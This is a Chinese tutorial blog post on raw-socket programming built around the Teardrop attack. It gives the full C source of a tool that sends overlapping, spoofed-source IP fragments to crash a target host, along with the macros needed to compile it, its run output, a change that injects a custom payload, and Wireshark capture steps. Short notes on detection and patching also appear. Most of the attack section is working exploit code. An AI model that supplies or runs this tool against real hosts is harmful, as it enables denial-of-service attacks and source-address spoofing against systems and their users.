原始套接字编程——Teardrop

一、介绍套接字

  1. 流套接字(SOCK_STREAM)
    用于提供面向连接、可靠的数据传输服务。使用TCP协议。
  2. 数据报套接字(SOCK_DGRAM)
    提供一种无连接的服务,不能够保证数据传输的可靠性,可能出现数据的丢失情况。使用UDP协议。
  3. 原始套接字(SOCK_RAW)
    可以内核没有处理的IP数据包,用于处理其他协议(除TCP、UDP之外)发送的数据。

本文章主要讲述使用原始套接字进行处理数据

二、著名的Teardrop

  1. 原理
    向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息),某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。(利用UDP包重组时重叠偏移的漏洞对系统主机发动拒绝服务攻击,最终导致主机菪掉;对于Windows系统会导致蓝屏死机,并显示STOP 0x0000000A错误。)
    检测方法:对接收到的分片数据包进行分析,计算数据包的片偏移量(Offset)是否有误。
    反攻击方法:添加系统补丁程序,丢弃收到的病态分片数据包并对这种攻击进行审计。
  2. 代码
#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <netdb.h> 
#include <netinet/in.h> 
#include <netinet/udp.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <sys/socket.h> 
#include <errno.h> 

void usage(u_char *); //处理错误
u_long name_resolve(u_char *); 
u_short in_cksum(u_short *, int); 
void send_frags(int, u_long, u_long, u_short, u_short); //IP内容的设置,进行发送IP包
int main(int argc, char **argv) 
{
        int one = 1, count = 0, i, rip_sock; 
        u_long src_ip = 0, dst_ip = 0; //定义源IP和目的IP
        u_short src_prt = 0, dst_prt = 0;//定义源端口和目的端口
        struct in_addr addr; //定义一个in_addr对象
		printf("teardrop route|daemon9\n\n");
		/*socket(AF_INET,SOCK_RAW,IPPROTO_RAW),其原型为
		int socket(int domain, int type, int protocol);
		int domain”参数表示套接字要使用的协议簇,常用的协议簇:
		AF_UNIX(本机通信)
		AF_INET(TCP/IP – IPv4)
		AF_INET6(TCP/IP – IPv6)
		“type”参数指的是套接字类型,常用的类型有:
		SOCK_STREAM(TCP流)
		SOCK_DGRAM(UDP数据报)
		SOCK_RAW(原始套接字)
		“protocol”参数用来确定套接字使用的协议簇和类型
		一般设置为“0”,但是有时候创建原始套接字时,并不知道要使用的协议簇
		和类型,也就是domain参数未知情况下,它可以确定协议的种类。
		IPPROTO_RAW就是确定协议的类型
		当套接字创建成功时,返回套接字,失败返回“-1”。即失败就会输出错误信
		息,然后就退出程序*/
        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) 
        {
                fprintf(stderr, "raw socket"); 
                exit(1); 
        }
        /*setsockopt函数是用于任意类型、任意状态套接口的设置选项值,即设置套接口的选项
        setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))的原型:
        int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
        sockfd:标识一个套接口的描述字。
        level:选项定义的层次;支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6等。
        optname:需设置的选项。
        optval:指针,指向存放选项值的缓冲区。
        optlen:optval缓冲区长度。
        IP_HDRINCL:如果是TRUE,IP头就会随即将发送的数据一起提交,并从读取
        的数据中返回
        */
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))< 0) 
        {
                fprintf(stderr, "IP_HDRINCL"); 
                exit(1); 
        }
        //当main中传入的参数个数少于3时,就会利用处理错误函数进行输入一些信息
        if (argc < 3) usage(argv[0]);
        //通过函数name_resolve进行源IP和目的IP的设置
        if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2]))) 
        {
                fprintf(stderr, "What the hell kind of IP address is that?\n"); 
                exit(1); 
        }
        /*getopt函数来解析命令行参数 
        getopt(argc, argv, "s:t:n:")的原型:
        int getopt(int argc, char * const argv[], const char *optstring);
       如果getopt函数找到一个选项字符,则返回该字符,更新外部变量optind和
       一个静态变量nextchar,以便下次调用getopt函数可以使用下一个选项字符
       或argv中 带-符号的参数恢复扫描。如果没有更多选项字符,getopt()返
       回-1。 那么optind是第一个argv中带-的参数的索引。optstring是一个包
       含合法选项字符的字符串。optarg是指向当前选项参数(如果有)的指针。
       atoi()函数 atoi()原型: 
       int atoi(const char *str ); 
       函数功能:把字符串转换成整型数,若无法转换,则返回0 */
        while ((i = getopt(argc, argv, "s:t:n:")) != EOF) 
        {
                switch (i) 
				{
                case 's': // source port
                        src_prt = (u_short)atoi(optarg); 
                        break; 
                case 't': // dest port 
                        dst_prt = (u_short)atoi(optarg); 
                        break; 
                case 'n': // number to send 
                        count = atoi(optarg); 
                        break; 
                default : 
                        usage(argv[0]);
                        break; // NOTREACHED 
                }
        }
        //通过srandom函数设置种子值
        srandom((unsigned)(time((time_t)0))); 
        //若上面源端口的值为0,就随机生成一个随机数赋值给源端口
        if (!src_prt) src_prt = (random() % 0xffff); 
        //若上面目的端口的值为0,就随机生成一个随机数赋值给目的端口
        if (!dst_prt) dst_prt = (random() % 0xffff); 
        //发送的次数的若为0,就将设定好的COUNT值赋给count
        if (!count) count = COUNT; 
        printf("Death on flaxen wings:\n"); 
		addr.s_addr = src_ip; //给addr对象赋值
		//inet_ntoa()函数功能是将网络地址转换成“.”点隔的字符串格式
        printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt); 	
        addr.s_addr = dst_ip; //给addr对象赋值
        printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt); 
        printf(" Amt: %5d\n", count); 
        printf("[ ");
        //循环调用send_frags函数发送IP包
        for (i = 0; i < count; i++) 
        {
                send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); 
                printf("b00m "); 
                usleep(500); 
        }
        printf("]\n"); 
        return (0); 
}

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,u_short dst_prt) 
{
        u_char *packet = NULL, *p_ptr = NULL; // packet pointers(IP包指针)
        u_char byte; // a byte 
        /*套接字协议结构体
        struct sockaddr_in{
        	sa_family_in sin_family;//地址族
        	uint6_t sin_port;//16位的TCP/UDP的端口号
        	struct in_addr sin_addr;//16位的IP地址
        	char sin_zero[8];//不使用
        } 
        */
        struct sockaddr_in sin; 
		sin.sin_family = AF_INET; 
        sin.sin_port = src_prt; 
        sin.sin_addr.s_addr = dst_ip; 
        //malloc函数原型是void *malloc(size_t size),用于分配所需的内存空间,并返回一个指向它的指针
        packet = (u_char *)malloc(IPH + UDPH + PADDING); 
        //网络层IP包的设置
        p_ptr = packet; //IP包头部中版本和头部长度的设置,4表示采用IPv4,5表示头部有5行
        /*bzero函数
          原型:extern void bzero(void *s, int n);
		  用法:#include <string.h>
   		  功能:置字节字符串s的前n个字节为零。
          说明:bzero无返回值。
        */
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
        
        byte = 0x45; 
        /*memcpy函数
         原型:extern void *memcpy(void *dest, void *src, unsigned int count);
         用法:#include <string.h>
         功能:由src所指内存区域复制count个字节到dest所指内存区域。
         说明:src和dest所指内存区域不能重叠,函数返回指向dest的指针。*/
        memcpy(p_ptr, &byte, sizeof(u_char)); 
        p_ptr += 2; // IP包中TOS (skipped)的执行  
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);//IP包的总长度的设置 
        p_ptr += 2; 
        *((u_short *)p_ptr) = htons(242); // IP包的identifier(标识号)的设置 
        p_ptr += 2; 
        *((u_short *)p_ptr) |= FIX(IP_MF); //IP包中frag flags and offset的设置 
        p_ptr += 2; 
        *((u_short *)p_ptr) = 0x40; // IP中TTL(生命周期)设置
        byte = IPPROTO_UDP;//IP包中的采用的协议设置 
        memcpy(p_ptr + 1, &byte, sizeof(u_char)); // IP包checksum(校验和)的设置
        p_ptr += 4; // IP包中source address(源IP地址) 
		*((u_long *)p_ptr) = src_ip; 
        p_ptr += 4; // IP包中的destination address(目的地址) 
        *((u_long *)p_ptr) = dst_ip; 
        p_ptr += 4; 
        //应用层的Segment的设置
        *((u_short *)p_ptr) = htons(src_prt); // UDP source port(源端口) 
        p_ptr += 2; 
        *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port(目的端口)
        p_ptr += 2; 
        *((u_short *)p_ptr) = htons(8 + PADDING); // UDP total length(总长度)
        //sendto函数是向某个目的终端发送数据,当发生数据成功,就会返回发送数据的字节数,否则返回SOCKET_ERROR
        if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1) 
        {
                fprintf(stderr, "\nsendto"); 
                free(packet); 
                exit(1); 
        }
        // IP total length is 2 bytes into the header 
        p_ptr = &packet[2]; 
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        p_ptr += 4; 
        *((u_short *)p_ptr) = FIX(MAGIC); 
        if (sendto(sock, packet, IPH+MAGIC+1, 0, (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1) 
        {
				fprintf(stderr, "\nsendto"); 
                free(packet); 
                exit(1); 
        }
        free(packet); 
}

//获取终端的信息
u_long name_resolve(u_char *host_name) 
{
		/*struct in_addr{
			In_addr_t s_addr;//32位IP地址
		}
		*/
        struct in_addr addr; 
        /*struct hostent
		{
		    char *h_name;  //主机名,即官方域名
		    char **h_aliases;  //主机所有别名构成的字符串数组,同一IP可绑定多个域名
		    int h_addrtype; //主机IP地址的类型,例如IPV4(AF_INET)还是IPV6
		    int h_length;  //主机IP地址长度,IPV4地址为4,IPV6地址则为16
		    char **h_addr_list;  /* 主机的ip地址,以网络字节序存储。若要打印出这个IP,需要调用inet_ntoa()。*/
		};
        */
        struct hostent *host_ent; 
        if ((addr.s_addr = inet_addr(host_name)) == -1) 
        {
        		//gethostbyname函数是利用字符串格式的域名获得IP地址,并且将地址信息装入 hostent 域名结构体,成功时返回值为hostent结构体,失败返回NULL指针
                if (!(host_ent = gethostbyname(host_name))) 
                        return (0); 
                bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); 
        }
        return (addr.s_addr); 
}

//错误处理函数
void usage(u_char *name) 
{
        fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name); 
        exit(0); 
}

编译
gcc teardrop.c -o teardrop
在这里插入图片描述
解决方式
在头文件下面添加下面代码

#ifdef STRANGE_BSD_BYTE_ORDERING_THING/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else                   /* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF   0x2000  /* More IP fragment en route */
#define IPH     0x14    /* IP header size */
#define UDPH    0x8     /* UDP header size */
#define PADDING 0x1c    /* datagram frame padding for first packet */
#define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT   0x1 

运行结果
不添加参数
在这里插入图片描述

从结果可以看出,没有添加参数时,程序在创建一个原套接字的时候就退出了程序。

添加参数
在这里插入图片描述

从结果可以看出程序在发送IP包的时候,在sendto函数返回值并不应该时对应的字节数。原来是没有将rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))添加到代码中。

添加后
在这里插入图片描述

若要实现发送连续发送多次数据,只需要修改COUNT的值就可以,本程序中设置的值为1,所以只会发送一次。

三、伪造虚假地址的IP包

  1. 了解IP包格式
    在这里插入图片描述
    要进行伪造IP包,就需要对上面的信息进行伪造。

  2. 伪造IP包的过程
    Version(版本):一般情况版本有两种,分别是4和6。4表示IPv4,6表示IPv6。
    Header Length(头部长度):一般填写5,也就是20个字节。
    Type of Service(服务类型):一般填写全0。
    Total Length(总长度):整个IP包的大小。
    Identified(id标识号):IP包的一个标识号,用于区别IP包。
    Flags(标志):其中2b的保留位;1位DF(不分段位),0表示允许分包,1则是不允许分包;1位MF(更多段位),1表示该包不是大IP包的最后一个,而0表示该包是大IP包中最后的一个小包。
    Fragmented Offset(段偏移量):用于表示该包是大IP包中的哪一个。
    TTL(生命周期):一般设置位64,128等。
    Protocol(协议):采用的协议,一般有TCP,UDP,ICMP,OSPF等。
    Header Checksum(头部校验):用于对头部内容进行校验。
    Source Address(源IP地址):32b的地址。
    Destination Address(目的IP地址):32b的地址。

    一个IP包的伪造需要将这些内容进行填写,从而生成一个IP包。

    将数据部分设置为Fake News
    方法是对应字母的ASCII码放到IP包的数据位置。

    //将下面内容放到设置UDP长度的后面
    *((u_short *)p_ptr) = 0x46;
    p_ptr++;
    *((u_short *)p_ptr) = 0x61;
    p_ptr++;
    *((u_short *)p_ptr) = 0x6B;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x20;
    p_ptr++;
    *((u_short *)p_ptr) = 0x4E;
    p_ptr++;
    *((u_short *)p_ptr) = 0x65;
    p_ptr++;
    *((u_short *)p_ptr) = 0x77;
    p_ptr++;
    *((u_short *)p_ptr) = 0x73;
    

四、在Ubuntu下使用Wireshark抓包进行验证

  1. Ubuntu安装Wireshark
    参考链接:
    https://blog.csdn.net/sheen_zhuang/article/details/80725486
    安装完成后,如果没有将登录用户加入到wireshark组,会出现下面情况
    在这里插入图片描述
    添加方法也可参照上面链接或者使用下面命令

    sudo groupadd wireshark
    sudo chgrp wireshark /usr/bin/dumpcap
    sudo chmod 4755 /usr/bin/dumpcap
    sudo gpasswd -a user01(当前登陆的用户名) wireshark

  2. 进行抓包
    未设置数据内容
    在这里插入图片描述
    设置数据内容后
    在这里插入图片描述

五、总结

清楚如何进行一个IP包的伪造,伪造的过程就是对IP包格式中的内容进行修改,不让其自己去完成,而是人为的对内容进行填写。这个花的时间有点久,主要是在代码部分少添加创建原套接字的过程,而导致错误输出。整个代码有些函数和变量需要自己去查找,看其代表的意思和功能是什么,才能够理解到整个代码的功能。

六、参考资料

  1. AF_INET与套接字
  2. Teardrop攻击的原理是什么
  3. 网络攻击程序
  4. getsockopt和setsockopt函数
  5. 学习解析命令行参数函数-getopt函数
  6. 域名和网络地址结构体—struct hostent
  7. C语言库函数速查手册
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值